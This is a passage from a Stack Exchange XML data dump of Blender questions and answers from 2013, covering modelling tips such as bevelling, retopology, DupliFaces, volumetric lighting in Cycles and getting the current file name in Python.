BY-SA 3.0" />
  <row Id="2539" PostTypeId="2" ParentId="2520" CreationDate="2013-08-24T10:55:31.420" Score="2" Body="&lt;p&gt;You may want to consider retopology. Once a high poly mesh has been created it is common to use it as a guide to creating a low poly mesh that is easier to work with.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-24T10:55:31.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2540" PostTypeId="2" ParentId="2536" CreationDate="2013-08-24T11:18:50.723" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, this is called a &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/Drivers&quot; rel=&quot;nofollow&quot;&gt;driver&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can evaluate a &lt;a href=&quot;/questions/tagged/python&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'python'&quot; rel=&quot;tag&quot;&gt;python&lt;/a&gt; expressions by pre-pending your input with a &lt;code&gt;#&lt;/code&gt;. There are a number of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/Drivers#Builtin_resources_and_aliases&quot; rel=&quot;nofollow&quot;&gt;modules pre imported for convenience&lt;/a&gt;, use &lt;code&gt;noise.random()&lt;/code&gt; to get a random floating-point number, e.g. &lt;code&gt;#noise.random() * 5&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-24T12:09:55.840" LastActivityDate="2013-08-24T12:09:55.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2541" PostTypeId="2" ParentId="2534" CreationDate="2013-08-24T11:49:02.977" Score="33" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/2535/12&quot;&gt;stacker's answer&lt;/a&gt; answers the question. However, you can also selectively bevel parts of your mesh with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; which is often faster than using the modifier if you want to bevel certain parts of your mesh &lt;em&gt;(the modifier has options where you can bevel a group of vertices etc)&lt;/em&gt;. You can also bevel single vertices with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See a quick example &lt;a href=&quot;https://blender.stackexchange.com/questions/2484/how-to-make-2-curves-for-an-urban-street-corner/2485#2485&quot;&gt;here&lt;/a&gt;. It is worth noting that you can set your &lt;a href=&quot;https://blender.stackexchange.com/questions/734/how-to-smooth-shade-an-object-with-hard-edges&quot;&gt;mesh shading to smooth&lt;/a&gt; to help remove faceted geometry at times and give a more rounded look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/811/12&quot;&gt;Most efficient way to round edges&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/247/how-can-i-make-sharp-geometric-3d-models-look-more-realistic/&quot;&gt;How can I make sharp geometric 3d models look more realistic?&lt;/a&gt; for more tips.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-08-24T16:24:02.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2542" PostTypeId="2" ParentId="2520" CreationDate="2013-08-24T12:02:27.977" Score="3" Body="&lt;p&gt;One of the better ways to do this in general is to use the &lt;em&gt;Simplify&lt;/em&gt; option available under the &lt;em&gt;Scene&lt;/em&gt; tab in the &lt;em&gt;Properties&lt;/em&gt; window. You can use this to drastically reduce the amount of geometry that is processed in the viewport from one place instead of manually changing each object's modifiers etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you have several objects with &lt;em&gt;Subsurf modifers&lt;/em&gt;, you can just tick it and set the level to 0, it is fairly intuitive. You can also see from the &lt;em&gt;Child Particles&lt;/em&gt; slider that it can be handy when dealing with hair as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iHyc9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-24T12:13:28.450" LastActivityDate="2013-08-24T12:13:28.450" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2543" PostTypeId="2" ParentId="2514" CreationDate="2013-08-24T12:12:36.247" Score="3" Body="&lt;p&gt;You could use Duplifaces. When the sapling addon creates leaves, each rectangular leaf is a single face (hex leaves are two faced).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your custom leaf and then make the leaves object a parent of your leaf. In the object properties for leaves turn on Duplifaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVrq0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your custom leaf will be duplicated at the location of each original leaf. The object centre of your leaf will be at the centre of the original face and will be rotated to match the rotation of the original single poly leaf. Modifying the original leaf will adjust every leaf to match. The original poly leaves won't render, just your custom leaf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/toUnQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed up the viewport you can add a decimate modifier to the leaves object to reduce the amount of visible leaves.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-24T12:12:36.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2544" PostTypeId="2" ParentId="2534" CreationDate="2013-08-24T15:07:32.193" Score="13" Body="&lt;p&gt;You can also decide to do it the manual way. Add loop cuts &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; close to the edges of the cube in all directions &lt;em&gt;(or as needed)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then apply a subdivision surface modifier &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;1 - 6&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="1166" LastEditorUserId="1103" LastEditDate="2013-08-26T08:36:22.513" LastActivityDate="2013-08-26T08:36:22.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2545" PostTypeId="1" AcceptedAnswerId="2547" CreationDate="2013-08-24T15:10:56.490" Score="15" ViewCount="10574" Body="&lt;p&gt;I'm looking for an efficient way to get the current &lt;code&gt;.blend&lt;/code&gt; file name, in a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to get its path, with &lt;code&gt;bpy.path.abspath('//')&lt;/code&gt;, but it returns only the current path, without the file name. I'm sure it's possible, but I can't find out how.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="12" LastEditDate="2013-08-24T15:40:43.360" LastActivityDate="2021-01-10T20:56:11.193" Title="Quick way to get current opened filename in a script?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2546" PostTypeId="2" ParentId="1956" CreationDate="2013-08-24T15:13:44.527" Score="0" Body="&lt;p&gt;Yes. You can know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It largely depends on the viewport you're in or the user view you're looking from. I think it doesn't give any visual indication as to where it'll be going next or sort but when it snaps to a face, edge, and or vertex, it happens visually for you to see immediately&lt;/p&gt;&#xA;" OwnerUserId="1166" LastActivityDate="2013-08-24T15:13:44.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2547" PostTypeId="2" ParentId="2545" CreationDate="2013-08-24T15:18:58.727" Score="28" Body="&lt;p&gt;It's in &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.BlendData.html#bpy.types.BlendData.filepath&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.data.filepath&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is the absolute path to the currently open blend file, see &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.BlendData.html?highlight=is_saved#bpy.types.BlendData.is_saved&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;is_saved&lt;/code&gt;&lt;/a&gt;, and &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.BlendData.html?highlight=is_dirty#bpy.types.BlendData.is_dirty&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;is_dirty&lt;/code&gt;&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="31447" LastEditDate="2021-01-10T20:56:11.193" LastActivityDate="2021-01-10T20:56:11.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2548" PostTypeId="2" ParentId="2545" CreationDate="2013-08-24T15:34:45.187" Score="19" Body="&lt;p&gt;You can get the filename with &lt;code&gt;bpy.path.basename(bpy.context.blend_data.filepath)&lt;/code&gt;. This will return it as a string without the path attached. &lt;em&gt;Use for Windows compatibility and some more info &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.path.html&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2013-09-26T17:34:46.837" LastActivityDate="2013-09-26T17:34:46.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2549" PostTypeId="1" AcceptedAnswerId="2555" CreationDate="2013-08-24T17:08:29.393" Score="13" ViewCount="10813" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Crepuscular_rays&quot;&gt;Crepuscular rays&lt;/a&gt; (a.k.a. &quot;god rays&quot; and many other names) can be created in Blender Internal by checking the &lt;em&gt;Halo&lt;/em&gt; checkbox in the lamp properties box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a similar effect using Cycles?&lt;/p&gt;&#xA;" OwnerUserId="1095" LastEditorUserId="55" LastEditDate="2013-08-25T05:51:32.890" LastActivityDate="2014-11-26T15:16:42.647" Title="Creating volumetric lighting (crepuscular rays) in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2550" PostTypeId="1" AcceptedAnswerId="2551" CreationDate="2013-08-24T17:13:14.863" Score="35" ViewCount="12810" Body="&lt;p&gt;What's the fastest way, without using Python, to select every other vertex of an edge ring with an even number of verts?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="599" LastEditDate="2013-08-25T19:50:40.603" LastActivityDate="2013-08-25T19:50:40.603" Title="What's the fastest way to select every other vertex of an edge ring?" Tags="&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2551" PostTypeId="2" ParentId="2550" CreationDate="2013-08-24T17:18:58.967" Score="60" Body="&lt;p&gt;In edit mode with entire edge ring selected: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Select&gt; Checker Deselect&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should deselect every other vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the 'offset' value in the toolshelf if you want the &lt;em&gt;other&lt;/em&gt; vertices in the edge ring selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No Offset:&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B2QuY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset by 1:&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fL2pa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; This works in edge and face mode too, deselecting alternate edges or faces to get a checkerboard selection.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="55" LastEditDate="2013-08-25T09:54:40.880" LastActivityDate="2013-08-25T09:54:40.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2553" PostTypeId="2" ParentId="2549" CreationDate="2013-08-24T21:46:21.957" Score="7" Body="&lt;p&gt;The term you're looking for is &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Volumetric_lighting&quot;&gt;volumetric lighting&lt;/a&gt;&lt;/strong&gt;, an &lt;a href=&quot;http://en.wikipedia.org/wiki/Crepuscular_rays#Alternative_names&quot;&gt;alternative name&lt;/a&gt; for crepuscular rays. Unfortunately, Cycles does not yet support volumetric lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, check out the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot;&gt;Cycles Roadmap&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For 2.68, the following features are planned to be worked on:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Hair shader&lt;/li&gt;&#xA;  &lt;li&gt;Ubershader (combined diffuse+glossy+transparent node)&lt;/li&gt;&#xA;  &lt;li&gt;Look into of improvements for SSS, AO, mist, ..&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;After this the next big feature will be Volumetrics. &lt;strong&gt;Probably the&#xA;  first release with Volumetrics will be 2.69 or 2.70.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(emphasis mine)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-24T21:51:32.270" LastActivityDate="2013-08-24T21:51:32.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2554" PostTypeId="2" ParentId="2525" CreationDate="2013-08-24T22:55:20.443" Score="12" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select all the objects you want to multiply.&lt;/li&gt;&#xA;&lt;li&gt;Make linked duplicates with &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; and place them at the proper distance.&lt;/li&gt;&#xA;&lt;li&gt;Repeat your last step with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; as often as you like.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another way for more flexible needs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select your objects.&lt;/li&gt;&#xA;&lt;li&gt;Give them a keyframe with &lt;kbd&gt;I&lt;/kbd&gt; &gt; &lt;em&gt;location&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you want a row of ten objects, go nine frames forward and move your selection to the end of your substitute array. Set another &lt;em&gt;keyframe&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Dupliframes&lt;/em&gt; for each of your objects in the &lt;em&gt;Object Properties&lt;/em&gt;, &lt;em&gt;Duplication&lt;/em&gt; panel. Adjust &lt;em&gt;start&lt;/em&gt; and &lt;em&gt;end&lt;/em&gt; accordingly or you'll get a hundred copies.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;em&gt;Graph Editor&lt;/em&gt; to set the interpolation to linear with &lt;kbd&gt;T&lt;/kbd&gt;,&lt;kbd&gt;2&lt;/kbd&gt; if you need even distribution of your objects.&lt;/li&gt;&#xA;&lt;li&gt;Make the &lt;em&gt;Duplis&lt;/em&gt; real with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This process makes it possible to move, scale and rotate your objects freely.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-24T23:19:37.717" LastActivityDate="2013-08-24T23:19:37.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2555" PostTypeId="2" ParentId="2549" CreationDate="2013-08-24T22:56:16.287" Score="10" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As of Blender 2.70, cycles has had volumetric support. See &lt;a href=&quot;https://blender.stackexchange.com/a/8015/599&quot;&gt;this answer&lt;/a&gt; for details on how to set up crepuscular rays with the new volumetric features.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As mentioned by Wchargin, this will be possible once volumetrics is integrated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are some ways to fake this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?279752-cycles-hack-volume-lighting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using motion blur&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically you use a plane that moves through the entire scene&#xA;  perpendicular to the camera, then turn on motion blur and increase the&#xA;  frame blending enough so that cycles is calculating the entire motion.&#xA;  The plane will catch the light and blend it through the whole scene&#xA;  giving the illusion of volume lighting. I used a mix of diffuse and&#xA;  translucent material for the plane but wouldn't be surprised if there&#xA;  was a better material method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=FuzDtirK2qk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Using BI to render halo volumes and then use compositing nodes to combine with Cycles render&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-11-25T21:21:55.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2556" PostTypeId="2" ParentId="2517" CreationDate="2013-08-25T00:52:27.777" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/2532/1146&quot;&gt;ideasman42's answer&lt;/a&gt; is great. I'd also add that you could look at the &lt;a href=&quot;http://www.vtk.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visualization Toolkit (VTK)&lt;/a&gt; as an alternative. It also has Python bindings, and has more of a pipeline approach to data processing, which might make it faster for certain things. It supports many data types, including point clouds and 3D grids. The downside is that, while it has support for manipulating the view and you can probably &lt;em&gt;build&lt;/em&gt; tools with it, it doesn't have the rich interactive toolset that Blender does.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-08-25T00:52:27.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2557" PostTypeId="2" ParentId="2533" CreationDate="2013-08-25T00:56:52.533" Score="11" Body="&lt;p&gt;You could use &lt;em&gt;Object &gt; Animation &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.4/Source/Animation/AnimationBaking#Animation_Conversion_and_Baking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bake action&lt;/a&gt;&lt;/em&gt;&lt;br&gt;&#xA;(Or if you are in &lt;em&gt;Pose&lt;/em&gt; mode, &lt;em&gt;Pose &gt; Animation &gt; Bake action&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RDXpR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bake action&lt;/em&gt; was added to the menu in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/More_Features#Animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.62&lt;/a&gt;&#xA;(though it was previously available with &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Search&lt;/em&gt;)&lt;br&gt;&#xA;Unfortunately, there does not seem to be any documentation for this feature yet. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-28T19:07:22.523" LastActivityDate="2013-08-28T19:07:22.523" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2558" PostTypeId="1" AcceptedAnswerId="2565" CreationDate="2013-08-25T07:09:07.910" Score="48" ViewCount="41828" Body="&lt;p&gt;My model has a clear plastic (or glass) dome with objects inside.  The objects appear dark.  I've tried the glass shader with color 100% RGB, with very small IOR, and using just a refraction shader.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Cycles has problems with caustics, but I just want broad illumination to fall clean through the glass.  The light-to-column path can ignore refraction, but is blocked or tremendously attenuated. The camera-column path needs refraction, and seems to work fine anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This demo image offers all optical paths of interest:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;light upon object, seen directly&lt;/li&gt;&#xA;&lt;li&gt;light upon object, seen through glass (looks okay)&lt;/li&gt;&#xA;&lt;li&gt;light through glass onto object, seen directly. This is the shadow on&#xA;the lit side of the column just below the glass tubing.  I expect&#xA;full illumination, but there is shadow.  There is some light, but&#xA;it's diffuse light from the floor.&lt;/li&gt;&#xA;&lt;li&gt;light through glass onto object, seen through glass. This&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpaHA.png&quot; alt=&quot;White column and short glass pipe casting shadow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did at one point try non-progressive rendering, and find extremely coarse light where there shouldn't be shadow, but this is not a practical way to make nice images. I've even tried cranking up certain sampling settings to many thousands, but still get bad noise though less, at the cost of long render times. I  would like to finish my creations sometime before &quot;Star Trek, the Generation After the Next&quot; becomes real life, if you know what I mean.  The next image is an example. I think Transmission in Sampling was 5000, but not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJfm2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles in Blender 2.67 on a quad core Linux machine, 16GB RAM. Machine limits have never been a problem for 3D rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly, I screwed up some setting when I made my startup file, and just need to fix it. OTOH maybe this is just a limitation of path tracing, or of the way Cycles does it. If that's the case, what to real-world Blender artists do when they need to produce images on a budget and schedule?  What is the practical real-world fix?&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorDisplayName="user1853" LastEditDate="2018-01-03T20:55:50.797" LastActivityDate="2020-10-21T03:53:13.900" Title="How to illuminate the darkness inside glass objects in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;glass&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="2559" PostTypeId="2" ParentId="2558" CreationDate="2013-08-25T07:19:23.353" Score="8" Body="&lt;p&gt;Increase the bounces in your render settings light paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLFs8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically each face is a bounce, the outside edge of the glass, the inside edge(if it has thickness), the pole, the ground. The bounces tell cycles when to stop following the ray.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-25T07:19:23.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2562" PostTypeId="1" AcceptedAnswerId="2563" CreationDate="2013-08-25T13:05:40.300" Score="2" ViewCount="93" Body="&lt;p&gt;I tried to rotate an object around its z-axis, by using a motion actuator with z-rotation (blue axis in screen) but it rotates around the y-axis (green). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are y and z-axis for some reasons swaped in the BGE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNgFg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-25T15:28:23.343" Title="Is the Game Engines Coodinate System different?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2563" PostTypeId="2" ParentId="2562" CreationDate="2013-08-25T13:49:27.460" Score="4" Body="&lt;p&gt;No - Suzanne (the monkey) has her Z axis pointing out from her face, and the Motion actuator defaults to use local coordinates. Either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apply rotation to the mesh (&lt;em&gt;&lt;kbd&gt;Object&lt;/kbd&gt;&gt;&lt;kbd&gt;Apply&lt;/kbd&gt;&gt;&lt;kbd&gt;Rotation&lt;/kbd&gt;&lt;/em&gt;), or&lt;/li&gt;&#xA;&lt;li&gt;Switch the actuator to world coordinates (press the &lt;em&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;/em&gt; toggle button on the right of the &lt;em&gt;Rot&lt;/em&gt; row).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="241" LastEditDate="2013-08-25T15:28:23.343" LastActivityDate="2013-08-25T15:28:23.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2564" PostTypeId="2" ParentId="2536" CreationDate="2013-08-25T13:51:21.003" Score="3" Body="&lt;p&gt;Now seems your after &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;DupliFace&lt;/a&gt;&lt;/em&gt; objects with a random scale, without making them real?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;DupliFaces&lt;/a&gt; with &lt;em&gt;Scale&lt;/em&gt; enabled.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups#Creating_Vertex_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add an empty vertex group&lt;/a&gt; to your emitting mesh.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edge Split&lt;/a&gt; modifier.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Split Angle&lt;/em&gt; to 0°.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/Vertex_Weight#Vertex_Weight_Mix_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vertex Weight Mix modifier&lt;/a&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Vertex Group A&lt;/em&gt; to the one created in the previous step.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Default Weight A&lt;/em&gt; to 1.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Mix Set&lt;/em&gt; to &lt;em&gt;All&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Global Influence&lt;/em&gt; to 5.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Texture Mask&lt;/em&gt; to a &lt;em&gt;Distorted Noise&lt;/em&gt; texture with a small scale. &lt;img src=&quot;https://i.stack.imgur.com/fqL9i.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Smooth&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smooth&lt;/a&gt; modifier.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set Factor to 1.5.&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;em&gt;Vertex Group&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enable the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack#Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;modifier for editing cage&lt;/a&gt; (triangle icon).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fs88i.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" 